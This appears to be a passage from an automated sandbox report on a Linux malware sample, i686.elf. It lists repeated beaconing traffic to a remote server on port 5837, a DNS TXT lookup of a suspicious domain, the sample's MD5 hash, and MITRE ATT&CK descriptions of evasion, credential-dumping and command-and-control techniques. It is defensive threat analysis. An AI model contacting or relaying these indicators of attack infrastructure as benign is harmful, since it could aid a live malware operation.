Jan 6, 2025 00:52:53.837599993 CET	5837	54640	188.166.182.194	192.168.2.23
Jan 6, 2025 00:52:57.265743017 CET	42836	443	192.168.2.23	91.189.91.43
Jan 6, 2025 00:52:58.801527977 CET	42516	80	192.168.2.23	109.202.202.202
Jan 6, 2025 00:53:03.840828896 CET	54640	5837	192.168.2.23	188.166.182.194
Jan 6, 2025 00:53:03.845741987 CET	5837	54640	188.166.182.194	192.168.2.23
Jan 6, 2025 00:53:13.135525942 CET	43928	443	192.168.2.23	91.189.91.42
Jan 6, 2025 00:53:13.848975897 CET	54640	5837	192.168.2.23	188.166.182.194
Jan 6, 2025 00:53:13.854137897 CET	5837	54640	188.166.182.194	192.168.2.23
Jan 6, 2025 00:53:23.374106884 CET	42836	443	192.168.2.23	91.189.91.43
Jan 6, 2025 00:53:23.857595921 CET	54640	5837	192.168.2.23	188.166.182.194
Jan 6, 2025 00:53:23.862549067 CET	5837	54640	188.166.182.194	192.168.2.23
Jan 6, 2025 00:53:29.517260075 CET	42516	80	192.168.2.23	109.202.202.202
Jan 6, 2025 00:53:31.612725973 CET	5837	54640	188.166.182.194	192.168.2.23
Jan 6, 2025 00:53:31.612782955 CET	54640	5837	192.168.2.23	188.166.182.194
Jan 6, 2025 00:53:41.619600058 CET	54640	5837	192.168.2.23	188.166.182.194
Jan 6, 2025 00:53:41.624541998 CET	5837	54640	188.166.182.194	192.168.2.23
Jan 6, 2025 00:53:51.626261950 CET	54640	5837	192.168.2.23	188.166.182.194
Jan 6, 2025 00:53:51.631201982 CET	5837	54640	188.166.182.194	192.168.2.23
Jan 6, 2025 00:53:54.089865923 CET	43928	443	192.168.2.23	91.189.91.42
Jan 6, 2025 00:54:01.634566069 CET	54640	5837	192.168.2.23	188.166.182.194
Jan 6, 2025 00:54:01.639446020 CET	5837	54640	188.166.182.194	192.168.2.23
Jan 6, 2025 00:54:11.643076897 CET	54640	5837	192.168.2.23	188.166.182.194
Jan 6, 2025 00:54:11.648037910 CET	5837	54640	188.166.182.194	192.168.2.23
Jan 6, 2025 00:54:14.567043066 CET	42836	443	192.168.2.23	91.189.91.43
Jan 6, 2025 00:54:21.650712967 CET	54640	5837	192.168.2.23	188.166.182.194
Jan 6, 2025 00:54:21.655718088 CET	5837	54640	188.166.182.194	192.168.2.23
Jan 6, 2025 00:54:31.657047033 CET	54640	5837	192.168.2.23	188.166.182.194
Jan 6, 2025 00:54:31.662065029 CET	5837	54640	188.166.182.194	192.168.2.23
Jan 6, 2025 00:54:41.663317919 CET	54640	5837	192.168.2.23	188.166.182.194
Jan 6, 2025 00:54:41.668245077 CET	5837	54640	188.166.182.194	192.168.2.23
Jan 6, 2025 00:54:51.669924974 CET	54640	5837	192.168.2.23	188.166.182.194
Jan 6, 2025 00:54:51.674892902 CET	5837	54640	188.166.182.194	192.168.2.23
Jan 6, 2025 00:55:01.676569939 CET	54640	5837	192.168.2.23	188.166.182.194
Jan 6, 2025 00:55:01.681464911 CET	5837	54640	188.166.182.194	192.168.2.23
Jan 6, 2025 00:55:11.683316946 CET	54640	5837	192.168.2.23	188.166.182.194
Jan 6, 2025 00:55:11.688383102 CET	5837	54640	188.166.182.194	192.168.2.23
Jan 6, 2025 00:55:18.655358076 CET	5837	54640	188.166.182.194	192.168.2.23
Jan 6, 2025 00:55:18.655467033 CET	54640	5837	192.168.2.23	188.166.182.194
Jan 6, 2025 00:55:28.660988092 CET	54640	5837	192.168.2.23	188.166.182.194
Jan 6, 2025 00:55:28.665851116 CET	5837	54640	188.166.182.194	192.168.2.23
Jan 6, 2025 00:55:38.669121981 CET	54640	5837	192.168.2.23	188.166.182.194
Jan 6, 2025 00:55:38.674036026 CET	5837	54640	188.166.182.194	192.168.2.23
Jan 6, 2025 00:55:48.674046993 CET	54640	5837	192.168.2.23	188.166.182.194
Jan 6, 2025 00:55:48.681691885 CET	5837	54640	188.166.182.194	192.168.2.23
Jan 6, 2025 00:55:58.682614088 CET	54640	5837	192.168.2.23	188.166.182.194
Jan 6, 2025 00:55:58.687555075 CET	5837	54640	188.166.182.194	192.168.2.23
Jan 6, 2025 00:56:08.687284946 CET	54640	5837	192.168.2.23	188.166.182.194
Jan 6, 2025 00:56:08.692222118 CET	5837	54640	188.166.182.194	192.168.2.23
Jan 6, 2025 00:56:18.694644928 CET	54640	5837	192.168.2.23	188.166.182.194
Jan 6, 2025 00:56:18.699529886 CET	5837	54640	188.166.182.194	192.168.2.23

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 6, 2025 00:52:50.350769043 CET	60221	53	192.168.2.23	208.67.220.220
Jan 6, 2025 00:52:50.367485046 CET	53	60221	208.67.220.220	192.168.2.23
Jan 6, 2025 00:52:51.373524904 CET	41277	19302	192.168.2.23	74.125.250.129
Jan 6, 2025 00:52:51.831336021 CET	19302	41277	74.125.250.129	192.168.2.23

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 6, 2025 00:52:50.350769043 CET	192.168.2.23	208.67.220.220	0x4e49	Standard query (0)	www.onlydance.cam	16	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 6, 2025 00:52:50.367485046 CET	208.67.220.220	192.168.2.23	0x4e49	No error (0)	www.onlydance.cam			TXT (Text strings)	IN (0x0001)	false

System Behavior

Analysis Process: i686.elf PID: 6209, Parent PID: 6129

General

Start time (UTC):	23:52:48
Start date (UTC):	05/01/2025
Path:	/tmp/i686.elf
Arguments:	/tmp/i686.elf
File size:	91792 bytes
MD5 hash:	8f0239e6b5b39a97e8e64ff9217b00a0

Start time (UTC):	23:52:49
Start date (UTC):	05/01/2025
Path:	/tmp/i686.elf
Arguments:	-
File size:	91792 bytes
MD5 hash:	8f0239e6b5b39a97e8e64ff9217b00a0

Start time (UTC):	23:52:49
Start date (UTC):	05/01/2025
Path:	/tmp/i686.elf
Arguments:	-
File size:	91792 bytes
MD5 hash:	8f0239e6b5b39a97e8e64ff9217b00a0

Start time (UTC):	23:52:49
Start date (UTC):	05/01/2025
Path:	/tmp/i686.elf
Arguments:	-
File size:	91792 bytes
MD5 hash:	8f0239e6b5b39a97e8e64ff9217b00a0

Start time (UTC):	23:52:49
Start date (UTC):	05/01/2025
Path:	/tmp/i686.elf
Arguments:	-
File size:	91792 bytes
MD5 hash:	8f0239e6b5b39a97e8e64ff9217b00a0

Start time (UTC):	23:52:49
Start date (UTC):	05/01/2025
Path:	/tmp/i686.elf
Arguments:	-
File size:	91792 bytes
MD5 hash:	8f0239e6b5b39a97e8e64ff9217b00a0

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete or modify artifacts generated within systems to remove evidence of their presence or hinder defenses. Various artifacts may be created by an adversary or something that can be attributed to an adversary’s actions. Typically these artifacts are used as defensive indicators related to monitored events, such as strings from downloaded files, logs that are generated from user actions, and other data analyzed by defenders. Location, format, and type of artifact (such as command or login history) are often specific to each platform.
Tactics:	Defense Evasion
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Deletion, File: File Metadata, File: File Modification, Firewall: Firewall Rule Modification, Network Traffic: Network Traffic Content, Process: OS API Execution, Process: Process Creation, Scheduled Job: Scheduled Job Modification, User Account: User Account Authentication, User Account: User Account Deletion, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, Google Workspace, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report i686.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

HIPS / PFW / Operating System Protection Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/athens.txt

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

System Behavior

Analysis Process: i686.elf PID: 6209, Parent PID: 6129

General

Chronological Activities

Analysis Process: i686.elf PID: 6210, Parent PID: 6209

General

Chronological Activities

Analysis Process: i686.elf PID: 6211, Parent PID: 6209

General

Chronological Activities

Analysis Process: i686.elf PID: 6229, Parent PID: 6209

General

Chronological Activities

Analysis Process: i686.elf PID: 6247, Parent PID: 6209

Linux Analysis Report
i686.elf